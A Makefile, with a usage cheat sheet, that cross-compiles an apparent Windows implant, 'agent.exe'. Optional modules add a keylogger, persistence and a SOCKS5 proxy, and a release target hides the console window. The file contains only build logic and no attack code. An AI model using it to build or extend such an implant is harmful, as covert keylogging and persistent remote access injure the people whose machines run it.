# Makefile Build Options Cheat Sheet

# Basic Build Commands:
# make                  - Default build with testing code and console window
# make all              - Same as make
# make release          - Production build (no testing code, no console window)
# make size-opt         - Build with maximum size optimizations
# make clean            - Remove all object files and executable
# make run              - Build and run the executable
# make info             - Show current build configuration

# Feature Flags - Enable features by setting variables:
# make ENABLE_PROXY=TRUE                    - Enable proxy functionality
# make ENABLE_PERSISTENCE=TRUE              - Enable persistence
# make ENABLE_KEYLOGGER=TRUE                - Enable keylogger
# make ENABLE_PROXY=TRUE ENABLE_PERSISTENCE=TRUE ENABLE_KEYLOGGER=TRUE - Enable multiple features

# Transport Options - Choose one transport method:
# make USE_SSL=TRUE                    		- Use SSL (Windows SChannel) default is plain TCP
# make USE_HTTPS=TRUE                     	- Use HTTPS

# Common Build Combinations:
# make ENABLE_PROXY=TRUE ENABLE_PERSISTENCE=TRUE ENABLE_KEYLOGGER=TRUE - Development build with all features
# make release ENABLE_PROXY=TRUE USE_SSL=TRUE - Production build with proxy and SSL
# make size-opt                            - Size-optimized build with minimal features
# make release ENABLE_PROXY=TRUE ENABLE_PERSISTENCE=TRUE ENABLE_KEYLOGGER=TRUE USE_SSL=TRUE - Full-featured release build

# Build Types:
# Default  - Testing build with console window visible
# Release  - Production build, no console window (-mwindows flag)
# Size-opt - Maximum size optimization with function/data sections removal

# Compiler and flags
CC = x86_64-w64-mingw32-gcc
LDFLAGS = -lws2_32 -liphlpapi
INCLUDE_DIR =
SRC_DIR = .
OBJ_DIR = obj
BIN_DIR = .
EXEC = $(BIN_DIR)/agent.exe

# Define default flags
CFLAGS = -flto -Os -DTESTING_BUILD

# Define feature flags
USE_SSL = FALSE
USE_HTTPS = FALSE
USE_WOLFSSL = FALSE
ENABLE_PROXY = FALSE
ENABLE_PERSISTENCE = FALSE
ENABLE_KEYLOGGER = FALSE

# Basic source files (always included)
SRC_FILES = \
	agent.c \

# Add proxy files conditionally
ifeq ($(ENABLE_PROXY),TRUE)
	CFLAGS += -DENABLE_PROXY=TRUE
	SRC_FILES += socks5_server.c socks5_agent.c
else
	CFLAGS += -DENABLE_PROXY=FALSE
endif

# Add persistence conditionally
ifeq ($(ENABLE_PERSISTENCE),TRUE)
	CFLAGS += -DENABLE_PERSISTENCE=TRUE
	SRC_FILES += persistence.c
else
	CFLAGS += -DENABLE_PERSISTENCE=FALSE
endif

# Add keylogger conditionally
ifeq ($(ENABLE_KEYLOGGER),TRUE)
	CFLAGS += -DENABLE_KEYLOGGER=TRUE
	SRC_FILES += keylogger.c
else
	CFLAGS += -DENABLE_KEYLOGGER=FALSE
endif

# Add transport implementation based on USE_SSL or USE_WOLFSSL
ifeq ($(USE_SSL),TRUE)
	CFLAGS += -DUSE_SSL=TRUE
	LDFLAGS += -lsecur32
	SRC_FILES += transport_schannel.c
else ifeq ($(USE_HTTPS),TRUE)
	CFLAGS += -DUSE_HTTPS=TRUE
	LDFLAGS += -lwinhttp
	SRC_FILES += transport_http.c
else ifeq ($(USE_WOLFSSL),TRUE)
	CFLAGS += -DUSE_WOLFSSL=TRUE
	LDFLAGS += -L./lib/wolfssl-compiled/lib -lwolfssl -lcrypt32
	INCLUDE_DIR += -I./lib/wolfssl-compiled/include
	SRC_FILES += transport_wolfssl.c
else
	SRC_FILES += transport_tcp.c
endif

# Generate source file paths
SOURCES = $(addprefix $(SRC_DIR)/, $(SRC_FILES))

# Object files from source files
OBJECTS = $(SOURCES:$(SRC_DIR)/%.c=$(OBJ_DIR)/%.o)

# Create output directories if they don't exist
$(shell mkdir -p $(OBJ_DIR) $(BIN_DIR))

# Default target: Compile and link everything
all: $(EXEC)

# Link the object files into the final executable
$(EXEC): $(OBJECTS)
	$(CC) $(OBJECTS) -o $(EXEC) $(LDFLAGS)

# Compile each .c file into a .o object file
$(OBJ_DIR)/%.o: $(SRC_DIR)/%.c
	$(CC) $(CFLAGS) $(INCLUDE_DIR) -c $< -o $@

# Build with size optimization
size-opt: CFLAGS += -ffunction-sections -fdata-sections
size-opt: LDFLAGS += -Wl,--gc-sections -s
size-opt: clean all
	@echo "Built with additional size optimizations"

# Build without testing code and without console window
release: CFLAGS := $(filter-out -DTESTING_BUILD,$(CFLAGS))
release: LDFLAGS += -mwindows
release: clean all
	@echo "Built release version (no testing code, no console window)"

# Clean up object files and the executable
clean:
	rm -rf $(OBJ_DIR)/*.o $(EXEC)

# Optional: Run the program after building
run: $(EXEC)
	./$(EXEC)

# Show current configuration
info:
	@echo "Build configuration:"
	@echo "  USE_SSL: $(USE_SSL)"
	@echo "  USE_WOLFSSL: $(USE_WOLFSSL)"
	@echo "  ENABLE_PROXY: $(ENABLE_PROXY)"
	@echo "  ENABLE_PERSISTENCE: $(ENABLE_PERSISTENCE)"
	@echo "  ENABLE_KEYLOGGER: $(ENABLE_KEYLOGGER)"
	@echo "  Testing build: $(filter -DTESTING_BUILD,$(CFLAGS))"
	@echo "  Source files: $(notdir $(SOURCES))"
	@echo "  CFLAGS: $(CFLAGS)"
	@echo "  LDFLAGS: $(LDFLAGS)"
	@echo "  INCLUDE_DIR: $(INCLUDE_DIR)"

install:
	@echo "Install target not implemented."

.PHONY: all clean run info install size-opt release
